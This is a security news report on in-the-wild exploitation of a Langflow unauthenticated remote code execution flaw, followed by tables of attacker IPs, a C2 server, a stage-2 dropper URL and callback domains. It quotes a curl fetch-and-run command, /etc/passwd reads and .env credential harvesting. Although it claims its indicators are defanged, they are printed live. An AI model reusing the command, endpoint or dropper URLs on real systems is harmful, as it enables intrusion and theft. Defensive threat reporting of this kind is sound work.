Langflow RCE Flaw Lets Attackers Execute Arbitrary Python Code Without Authentication

A critical unauthenticated remote code execution (RCE) vulnerability in Langflow, tracked as CVE-2026-33017, is being actively exploited in the wild within hours of its disclosure. This vulnerability allows attackers to execute arbitrary Python code on exposed instances without any authentication.

It affects the widely used open-source AI workflow framework designed for building large language model (LLM)-powered pipelines and Retrieval-Augmented Generation (RAG) systems, significantly expanding the attack surface in AI-driven environments.

Langflow RCE Flaw

The flaw is found in the publicly accessible endpoint POST /api/v1/build_public_tmp/{flow_id}/flow, which allows users to build flows without authentication.

Due to improper input validation and a lack of sandboxing, attackers can inject malicious Python code into flow node definitions. This code is executed server-side, effectively granting attackers full command execution capabilities with just a single crafted HTTP request.

According to observations from the Sysdig Threat Research Team (TRT), exploitation of this vulnerability began approximately 20 hours after the public advisory was released on March 17, 2026.

Notably, attackers did not rely on publicly available proof-of-concept (PoC) exploits but weaponized the vulnerability directly from the advisory’s details. Early attacks used automated scanning tools such as Nuclei to embed payloads that executed system commands (e.g., `id`), encode outputs using Base64, and exfiltrate results via Interactsh callback domains.

Initial exploitation attempts originated from multiple IP addresses, including 77.110.106.154 and 209.97.165.247, suggesting coordinated scanning. These automated probes quickly evolved into sophisticated attacks involving custom Python scripts.

Threat actors conducted reconnaissance by listing directories, accessing sensitive files such as `/etc/passwd`, and attempting to deploy second-stage payloads via remote shell commands (e.g., `curl -fsSL http://<malicious-server>/z`).

In more advanced stages, attackers concentrated on credential harvesting and environment enumeration. By executing commands such as `venv` and searching for `.env` and database files, they extracted API keys, database credentials, and cloud access tokens.

This poses a significant risk of lateral movement and potential software supply chain compromises, especially in AI environments where Langflow instances often integrate with external services like AWS, OpenAI, and various databases.

The attack infrastructure revealed overlapping indicators, suggesting coordinated campaigns or shared tooling. For example, multiple attackers exfiltrated data to a command-and-control (C2) server hosted at 143.110.183.86:8080.

At the same time, second-stage payloads were delivered from 173.212.205.251:8443. The use of ephemeral Interactsh domains across various top-level domains further highlights the use of out-of-band (OOB) channels for stealthy data exfiltration.

Security researchers emphasize that this incident reflects a broader trend: the time-to-exploit window has drastically shrunk to mere hours.

Traditional patching cycles, which often span days or weeks, are no longer sufficient. Organizations must adopt runtime detection, network segmentation, and proactive monitoring to mitigate such rapidly weaponized threats.

Ioc

Source IPs

IP	Location (Geo)	ASN / Provider	Observed Activity
77.110.106.154	DE (Frankfurt)	AEZA GROUP LLC	Nuclei scan against Langflow, Interactsh-based callback RCE
209.97.165.247	SG (Singapore)	DigitalOcean	Nuclei scan, Interactsh callback test of id command
188.166.209.86	SG (Singapore)	DigitalOcean	Nuclei scan, Interactsh callback, identical Python RCE payload
205.237.106.117	FR (Paris)	PUSHPKT OU	Nuclei scan with rotated User-Agent strings, Interactsh exfil
83.98.164.238	NL (Lelystad)	Accenture B.V.	Custom exploit script, recon (ls, cat /etc/passwd), stage-2
173.212.205.251	FR (Lauterbourg)	Contabo GmbH	Custom exploit, env/credential harvesting, dropper hosting

C2 and Staging Infrastructure

Indicator	Type	Geo / Provider	Context
143.110.183.86:8080	C2 server	IN, DigitalOcean	Receives base64-encoded exfiltrated command output
173.212.205.251:8443	Dropper host	FR, Contabo GmbH	Serves stage-2 payload from path /z

Malicious Dropper URLs

URL	Role	Notes
http://143.110.183.86:8080/	C2 / exfil endpoint	Receives HTTP exfil from Python RCE
http://173.212.205.251:8443/z	Stage-2 dropper	Bash-executed payload delivery

Interactsh Callback Domains (Samples)

Domain	TLD	Usage
d6tcpc6flblph01gdcb0ku9ixih393m54.oast.live	.oast.live	OOB validation of id command output
d6tcpe7nsv6kk9rdrpggi37zmjfxw9imr.oast.me	.oast.me	Automated Nuclei-driven callback
d6td5s9qte0bea7273e0wuou77jjx77uk.oast.pro	.oast.pro	RCE payload result exfiltration
d6tgbe1qte0a8rkffb3gqabqm8517exd3.oast.fun	.oast.fun	Ephemeral callback for scanning activity

Note: IP addresses and domains are intentionally defanged (e.g., [.]) to prevent accidental resolution or hyperlinking. Re-fang only within controlled threat intelligence platforms such as MISP, VirusTotal, or your SIEM.

Follow us on Google News, LinkedIn, and X to Get Instant Updates and Set GBH as a Preferred Source in Google.